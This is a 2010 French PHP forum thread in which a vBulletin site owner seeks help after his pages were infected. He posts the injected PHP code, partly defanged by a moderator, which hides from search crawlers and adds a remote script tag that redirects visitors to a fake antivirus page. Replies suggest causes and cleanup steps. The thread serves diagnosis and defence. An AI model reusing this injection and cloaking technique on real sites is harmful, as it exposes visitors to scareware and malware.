mon forum hacké !

simonak
Invité n'ayant pas de compte PHPfrance

16 avr. 2010, 13:56

Salut tout le monde,
mon forum vbulletin a été hacké hier.Quand on entre sur le forum , il fait une redirection après quelque seconde sur un site qui fait soit disant un scan du pc et propose d'installé un antivirus ........
j'ai changer tout les accès et je suis allé voir dans le ftp .J'ai trouver ce bou de code dans chaque 1ère ligne d'un page php.
<?php /**/ echo(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYh...KTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?> 
Ce qui donne :
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){    $GLOBALS['mr_no']=1;   if(!function_exists('mrobh')){       if(!function_exists('gml')){     function gml(){      if  (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&  (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){       return  base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9rZGprZmpza2Rmamxza2RqZi5jb20vanMucGhwIj48L3NjcmlwdD4=");       }      return "";     }    }         if(!function_exists('gzdecode')){     function  gzdecode($R5A9CF1B...1A564684C){       $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B49750...C8F611A564684C,3,1));       $RBE4C4D037E...85A53DAD9=10;       $RA3D52E52A48936CDE0F5356BB08652F2=0;       if($R30B2AB8DC149...962AF5D&4){        $R63BEDE6...D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B49750...1A564684C,10,2));         $R63BEDE6B19266...D91E29EB=$R63BEDE6B19266D4EFE...1E29EB[1];         $RBE4C4D03...53DAD9+=2+$R63BEDE6B19266...D07A4D91E29EB;       }      if($R30B2AB8DC1496D...8962AF5D&8){        $RBE4C4D03...2885A53DAD9=@strpos($R5A9CF1B497502...11A564684C,chr(0),$RBE4C4D037E939...5812885A53DAD9)+1;       }      if($R30B2AB8DC1496D06B230A71D8962AF5D&16){        $RBE4C4D037E9392...5A53DAD9=@strpos($R5A9CF1B...A23C8F611A564684C,chr(0),$RBE4C4D03...26F65812885A53DAD9)+1;       }      if($R30B2AB8DC14...30A71D8962AF5D&2){        $RBE4C4D037E939226...3DAD9+=2;      }       $R034AE2AB94F99...B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502A...11A564684C,$RBE4C4D037E93...53DAD9));       if($R034AE2A...89A1822DA3353===FALSE){        $R034AE2AB94...C81B389A1822DA3353=$R5A9CF1B49...F611A564684C;       }      return $R034AE2AB94F99...A3353;     }    }     function mrobh($RE82EE9B121F7...4EBA7FA6B78B){      Header('Content-Encoding: none');      $RA179ABD3A7B9E28C...51B81DE=gzdecode($RE82EE9B121F...F54EBA7FA6B78B);         if(preg_match('/\<\/body/si',$RA179ABD3A7B...B59C51B81DE)){       return  preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3...69F7B59C51B81DE);      }else{      return $RA179ABD3A7B...F7B59C51B81DE.gml();     }     }    ob_start('mrobh');   }  }  
base64_decode("PHNjcmlwdC...0vanMucGhwIj48L3NjcmlwdD4=");
donne
<script src="http://kdjkfjskdXXXjf.com/js.php"></script>


le hacker à surement réussit à uploader un code php sur mon serveur qui achoute cette ligne dans touts les fichier php .Je vais essayer de trouver ce code , mais y a tellement de fichier php :s
et je doit supprimer toutes les ligne qu'il a mis .Es que c'est faisable d'inverser ce qu'il a fait ? Faire un script qui supprime toutes les 1ere lignes d'un fichier php ?

Merci d'avance


##edit @rthur : Edition du script malveillant pour le rendre inutilisable.

Eléphant du PHP | 86 Messages

16 avr. 2010, 14:06

Salut,

C'est une attaque classique, il y a très peu de chance qu'un script php ait été inséré dans tes pages afin de recréer la redirection.
Par contre, il y a de très fortes chances que tu te sois connecté sur une machine avec un joli keylogger ;).
En d'autres termes, quelqu'un a réussi à récupérer les identifiants de connexion à ton ftp.
Il a ainsi pu uploader un script permettant d'ajouter ce que tu nous as montré en début de chaque page php.

Avatar du membre
Administrateur PHPfrance
Administrateur PHPfrance | 9782 Messages

16 avr. 2010, 15:17

Bonjour,
C'est une attaque classique, il y a très peu de chance qu'un script php ait été inséré dans tes pages afin de recréer la redirection.
Par contre, il y a de très fortes chances que tu te sois connecté sur une machine avec un joli keylogger ;)
:shock: Euh... j'aimerais bien savoir ce qui te permet de déduire cela...
La plupart des attaques de ce genre en général ont pour origine des injections dans des scripts PHP.
Cela ne veut pas dire qu'il faut exclure la possibilité d'un keylogger mais de mon expérience c'est bien plus rare.


Un point à vérifier en premier :
- As tu bien la dernière version de vBulletin?
- Tous les scripts qui sont hébergés sur le même compte que ton forum sont ils à jour et sécurisés?
Quand tout le reste a échoué, lisez le mode d'emploi...

simonak
Invité n'ayant pas de compte PHPfrance

16 avr. 2010, 15:21

Salut
j'ai voulu faire un backup de mon ftp contaminer vite fait , jai fait une page dans laquelle il y a:
<?php
$x=shell_exec('tar -cf archive.tar *');
echo $x;
?>
et quand j'ai exécuter la page , dans le code source j'ai toruver :

<script src="http://kdjk...kdfjlskdjf.com/js.php"></script>

comment es possible ??
j'ai réouvert le code source et c'est le même que j'ai écrit !

simonak
Invité n'ayant pas de compte PHPfrance

16 avr. 2010, 15:25

Bonjour,
C'est une attaque classique, il y a très peu de chance qu'un script php ait été inséré dans tes pages afin de recréer la redirection.
Par contre, il y a de très fortes chances que tu te sois connecté sur une machine avec un joli keylogger ;)
:shock: Euh... j'aimerais bien savoir ce qui te permet de déduire cela...
La plupart des attaques de ce genre en général ont pour origine des injections dans des scripts PHP.
Cela ne veut pas dire qu'il faut exclure la possibilité d'un keylogger mais de mon expérience c'est bien plus rare.


Un point à vérifier en premier :
- As tu bien la dernière version de vBulletin?
- Tous les scripts qui sont hébergés sur le même compte que ton forum sont ils à jour et sécurisés?
Non j'ai pas la dernière version de vbulletin .Le problème c'est que une faille peut se trouver dans n'importe quel hack ajouté a vbulletin , si c'est pas vbulletin lui même .En plus la personne qui ma piraté a surement ouvert des faille partout là dans mes page ...

Avatar du membre
Administrateur PHPfrance
Administrateur PHPfrance | 9782 Messages

16 avr. 2010, 16:17

Non j'ai pas la dernière version de vbulletin .Le problème c'est que une faille peut se trouver dans n'importe quel hack ajouté a vbulletin , si c'est pas vbulletin lui même.
Tout a fait. Quoiqu'il en soit les hackers s'attaquent généralement d'abord aux parties les plus visibles donc vBulletin me semble le plus sensible vu qu'il suffit de visiter ton site pour voir que vBulletin pourrait être une cible potentielle.
Après il faut que tu vérifies une à une toutes les modifs que tu as apporté à vBulletin...
En plus la personne qui ma piraté a surement ouvert des faille partout là dans mes page ...
C'est très probable donc ça veut dire réinstallation complète depuis une source saine (donc en n'utilisant pas le backup des fichiers que tu as réalisé).
quand j'ai exécuter la page , dans le code source j'ai toruver :

<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>

comment es possible ??
j'ai réouvert le code source et c'est le même que j'ai écrit !
Le hacker a probablement utilisé la directive auto_prepend_file soit dans le php.ini soit dans un .htaccess :
http://www.php.net/manual/fr/ini.core.p ... epend-file
Si non cela peut aussi se faire via un mod Apache mais ça serait très mauvais signe pour la sécurité de ton serveur...
<?php
$x=shell_exec('tar -cf archive.tar *');
echo $x;
?>
Arf... un shell_exec() qui fonctionne...
J'espère que ton serveur Apache/PHP est chrooté (chroot-jail) et que l'user qui le fait tourner n'est pas le root...
Sinon la probabilité que ton serveur soit corrompu est très importante et tu es bon pour un formatage et une réinstallation complète du serveur.

Bon courage...
Quand tout le reste a échoué, lisez le mode d'emploi...

ViPHP
ViPHP | 1136 Messages

16 avr. 2010, 20:44

Arf ..
comme l'a dit @rthur , il y a de fortes chances que ton serveur soit corrompu !
Mais avant de tout formater , fait une copie complète de tes logs afin de de tenter de trouver par ou est passé le pirate ...
Bon s'il est costau , il a certainement réussit à effacer ses traces , mais bon .. qui ne tente rien ...

Epluche donc les logs , ça peut être tres instructif , et surtout te montrer ce qu'il faut sécuriser de ton coté !

Et quand je dit les logs , c'est évidemment tout les logs , pas uniquement ceux d'apache !

Good luck ,

Ch.